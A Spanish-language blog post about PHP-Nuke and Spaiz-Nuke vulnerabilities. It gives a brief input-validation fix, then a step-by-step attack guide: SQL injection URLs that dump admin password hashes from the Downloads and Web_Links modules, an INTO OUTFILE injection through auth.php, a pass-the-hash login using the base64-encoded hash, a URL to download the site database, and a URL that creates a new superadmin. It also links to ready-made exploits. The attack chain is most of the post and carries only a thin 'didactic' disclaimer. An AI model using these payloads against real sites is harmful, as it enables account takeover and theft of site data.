Bug peligroso ante el ataque de los hackers

catosino escribió «En muchos sitios esta dando vuelta la noticia de una nueva falla en el PHP-Nuke, que permite tomar el control de todo el sistema. Pero hay cosas que muchos no tiene claro todavía, por eso aquí las explico, y doy mas detalles sobre el tema…..

Te puede descargar los archivos ya modificados AQUÍ

Primero:

La falla NO es en el archivo modules.php, sino que esta presente en los módulos Downloads y Weblinks, entre otros. El archivo modules.php solo se encarga de incluir los archivos de cada modulo para que así la URL quede mas presentable.

Por eso el advisorie:

http://www.securityfocus.com/archive/1/340664

Esta mal desde un principio. Otra cosa para aclarar, que podriamos llamar:

Segundo:

Esta falla no tiene nada de nueva, ya que es la misma descubierta para las versiones:

  • PHP-Nuke 6.0
  • PHP-Nuke 6.5 RC3
  • PHP-Nuke 6.5 RC2
  • PHP-Nuke 6.5 RC1
  • PHP-Nuke 6.5 FINAL
  • PHP-Nuke 6.5 BETA 1
  • PHP-Nuke 6.5
  • PHP-Nuke 6.5 with all patches ,
  • PHP-Nuke 6.0 with all patches.
  • PHP-Nuke 5.5 with all patches

Es por eso que insisto en que no es una nueva falla, ya que en las ultimas versiones del PHP-Nuke se viene usando los mismo módulos de esas versiones anteriormente citadas, y que no han sido parcheadas, por eso es que son vulnerables todas las ultimas versiones del PHP-Nuke, hasta la 6.9, según he comprobado.

Solución:

No son solo los módulos Downloads y WebLinks, sino todo aquel modulo o pagina que no controle correctamente sus variables. Una forma rápida y fácil de solucionar esto es controlando el contenido de las variables de la siguiente forma:

# $variable es la que debemos controlar, así que cambia su nombre según te convenga ;)
$variable = addslashes($variable);
if(!isset($variable) || $variable == NULL || !is_numeric ($variable))
{
Header("Location: index.php");
exit();
}

Inyección SQL en PHP-Nuke y Spaiz-Nuke

Eso en el caso de que deba ser numérica, sino basta con quitar el !is_numeric($variable) de la condición del IF. Bueno me voy a dejar de dar vueltas y pasamos al tema de la explotación de las falla, que no solo sirve para hacer daño, sino que les permitirá testar sus sistemas y saber como solucionar este tipo de fallas.

Bueno, para poder ver los hashes de los admins, debemos hacer una pequeña inserción de código SQL, en las variables $cid de los módulos en cuestión. Por ejemplo:

Para el Módulo Download:

http://victima-nukeada/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20

Para el Módulo WebLinks:

http://victima-nukeada/modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20pwd,%20aid%20FROM%20nuke_authors%20

Nota: Para que funcione en Spaiz-Nuke debes cambiar nuke_authors por spnuke_authors

Vulnerabilidad en el archivo auth.php:

Esta vulnerabilidad se encuentra en el archivo auth.php, en la función que comprueba el usuario y la contraseña (Según su descubridor, testado en spaiz-nuke). En concreto en la variable $aid, porque no se comprueba que el contenido de la misma sea seguro. Mediante el uso de las », es posible crear una URL como esta:

http://victima-nukeada/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt

En este ejemplo se crea un archivo en /path_to_file/pwd.txt que contiene el password (encriptado en MD5) del admin.

Accediendo con la contraseña encriptada:

Un atacante puede autentificarse en el PHP-Nuke incluso sin conocer el password desencriptado. El método es el siguiente:

Una vez que ya obtuvimos los hashes de los admins, ya sea explotando las fallas en los módulos como en el auth.php, debemos codificar en base64 el usuario y la contraseña obtenidos mediante la inyección SQL (o por cualquier otro método).

Para pasarlo a base64 puedes utilizar cualquier codificador de base64 o puedes hacerlo online en una web como esta:

  • http://www.isecurelabs.com/base64.php
  • http://www.rzw.com.ar/base64nuke.php 😉

Buscamos el equivalente en base64 de la siguiente linea:

login:crypt_.passwd:

Donde login es el usuario y crypt_.passwd es la contraseña en MD5. Por ejemplo, con esta línea

admin:21232f297a57a5a743894a0e4a801fc3:

Obtendríamos algo así:

YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6

Ahora podemos acceder al panel del administrador usando una URL de este tipo:

http://victima-nukeada/admin.php?admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6

Una vez dentro te darás cuenta que cuando quieres acceder a cada opción del panel de control te volverá a pedir el password, lo único que tienes que hacer, es copiar el enlace de la sección a la que quieres ingresar y agregarle a dicha URL los mismo que le pusiste al admin.php para ver el panel de administración. Por ejemplo:

Para bajarte la base de datos:

http://victima-nukeada/admin.php?op=backup&admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6

Creando Admins:

Si queremos ahorrarnos el trabajo de andar colocando esos datos en la URL, podemos crearnos un nuevo admin con el siguiente exploit escrito en Perl:

http://rst.void.ru/download/r57nuke.txt

Exploit en PHP en Rynho Zeros Web:

http://www.rzw.com.ar/xptnk.php (Usar con moderación 😉

Puedes hacer esto también, mediante un enlace como el siguiente:

http://victima-nukeada/admin.php?op=AddAuthor&add_radminsuper=1&add_name=[Nick]&add_aid=[Nick]&add_email=[Email]&add_pwd=[Password]&admin=[Hash]

Nick corresponde al que tendrá el nuevo admin, el email lo mismo, el password debe ser colocado en texto plano no el hash, y el Hash, es el obtenido utilizando alguno de los métodos anteriormente explicados y correspondiente al admin del sitio, preferentemente el God (Admin Principal).

Basado en:

http://www.cyruxnet.com.ar/phpnuke_modules.htm

Aclaración: Este articulo esta basado en el que Cyruxnet publico en su web, pero se ha modificado para aclarar ciertos puntos, y agregar otros. Ademas, este texto es con fines didácticos, no nos hacemos responsables del mal uso que se haga de lo aquí explicado.

Por CATOSINO»

Scroll al inicio
Resumen de privacidad
Cursemon

Esta web utiliza cookies para que podamos ofrecerte la mejor experiencia de usuario posible.

La información de las cookies se almacena en tu navegador y realiza funciones tales como reconocerte cuando vuelves a nuestra web o ayudar a nuestro equipo a comprender qué secciones de la web encuentras más interesantes y útiles.

Cookies estrictamente necesarias

Las cookies estrictamente necesarias tiene que activarse siempre para que podamos guardar tus preferencias de ajustes de cookies.

Cookies de terceros

Esta web utiliza Google Analytics para recopilar información anónima tal como el número de visitantes del sitio, o las páginas más populares.

Dejar esta cookie activa nos permite mejorar nuestra web.